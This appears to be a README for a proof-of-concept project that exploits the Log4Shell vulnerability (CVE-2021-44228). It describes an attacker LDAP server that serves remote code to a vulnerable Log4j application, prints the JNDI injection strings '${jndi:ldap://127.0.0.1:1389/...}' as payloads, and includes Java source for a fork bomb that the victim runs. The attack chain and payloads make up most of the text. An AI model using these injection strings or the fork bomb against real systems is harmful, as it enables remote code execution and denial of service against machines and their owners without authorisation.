log4j-exploit-with-fork-bomb

💣💥💀 Proof of Concept: example of launching a fork bomb on a remote server due to vulnerability CVE-2021-44228

1. Create an attacker's LDAP server (server module) that will serve string and code payloads (payload module)

2. Create a victim example (victim module) and pass a string to Log4j JRE version <= 6u211, 7u201, 8u191 and 11.0.1

${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}

3. The victim application will receive a byte array from the attacker's server and interpret it as a substituted string or as executable code (parameter com.sun.jndi.ldap.object.trustURLCodebase = true)

4. For example, the executable code will be a fork bomb (a program that spawns copies of itself consuming all CPU time)

public class ForkBomb {

  public static void main(String... args) {
  
    Runtime.getRuntime().exec(new String[] {
        "javaw", 
        "-cp", 
        System.getProperty("java.class.path"), 
        "ForkBomb"
    });
  }
}